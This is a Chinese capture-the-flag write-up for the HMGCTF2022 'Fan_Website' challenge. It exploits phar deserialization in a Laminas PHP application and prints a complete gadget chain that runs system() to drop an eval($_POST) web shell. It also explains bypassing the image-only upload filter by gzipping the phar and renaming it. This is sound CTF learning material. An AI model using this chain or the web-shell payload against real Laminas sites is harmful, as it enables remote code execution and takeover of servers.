# [HMGCTF2022]Fan_Website
/www.zip 得到源码
审计代码发现题目有个 album 路由,并且控制器只有一个 /module/Album/src/Controller/AlbumController.php
白名单只允许 jpg,jpeg,png 通过
还不能用这些东西,HALT_COMPILER 就是 phar 反序列化,如果可以绕过的话,那就包是 phar 反序列化的
上网搜这个组件的漏洞发现了一个反序列化漏洞 https://xz.aliyun.com/t/8975,那就好说了,我们可以上传一个 phar 文件,然后删除文件调用 unlink 时触发反序列化。但是还得保证内容大于 3kb,所以在序列化时加了个 str_repeat (‘123’,1000000)
<?php | |
namespace Laminas\View\Resolver{ | |
class TemplateMapResolver{ | |
protected $map = ["setBody"=>"system"]; | |
} | |
} | |
namespace Laminas\View\Renderer{ | |
class PhpRenderer{ | |
private $__helpers; | |
function __construct(){ | |
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver(); | |
} | |
} | |
} | |
namespace Laminas\Log\Writer{ | |
abstract class AbstractWriter{} | |
class Mail extends AbstractWriter{ | |
protected $eventsToMail = ["echo '<?php eval(\$_POST[1]);?>' > /var/www/public/a.php"]; // cmd cmd cmd | |
protected $subjectPrependText = null; | |
protected $mail; | |
function __construct(){ | |
$this->mail = new \Laminas\View\Renderer\PhpRenderer(); | |
} | |
} | |
} | |
namespace Laminas\Log{ | |
class Logger{ | |
protected $writers; | |
function __construct(){ | |
$this->writers = [new \Laminas\Log\Writer\Mail()]; | |
} | |
} | |
} | |
namespace{ | |
$a = new \Laminas\Log\Logger(); | |
$phar = new Phar("shell.phar"); // 后缀名必须为 phar | |
$phar->startBuffering(); | |
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); | |
$phar->setMetadata($a); // 将自定义的 meta-data 存入 manifest | |
$phar->addFromString("a", str_repeat('123',1000000)); // 添加要压缩的文件 | |
// 签名自动计算 | |
$phar->stopBuffering(); | |
} | |
?> |
网上现成的链子,还得绕过 <? 和 HALT_CONPILER
这个被删了,只能看看别人的转载了
# 绕过:通过把生成的 phar 文件 gzip 压缩,然后将后缀改成 png
上传后拿到文件路径
再在这个路径删除文件
用 phar:// 文件路径
phar:///var/www/public/img/35460c54a1654c247dc3a5ee0c630a47.jpg
出现如上报错就是发生了 phar 反序列化
拿到 flag
flag{af6a3f7a-1ad5-4adb-8e30-c212a5f6423c}
参考链接:https://www.cnblogs.com/Article-kelp/p/16068372.html
https://xz.aliyun.com/news/8529?time__1311=Yq0x0Duiite7qGNqeeqBKD%3DKi%3D9pOOhbEbD&u_atoken=5d3133173cc9d43bb23af3e360487dd5&u_asig=1a0c399717405790997492244e0128
https://blog.csdn.net/miuzzx/article/details/123663551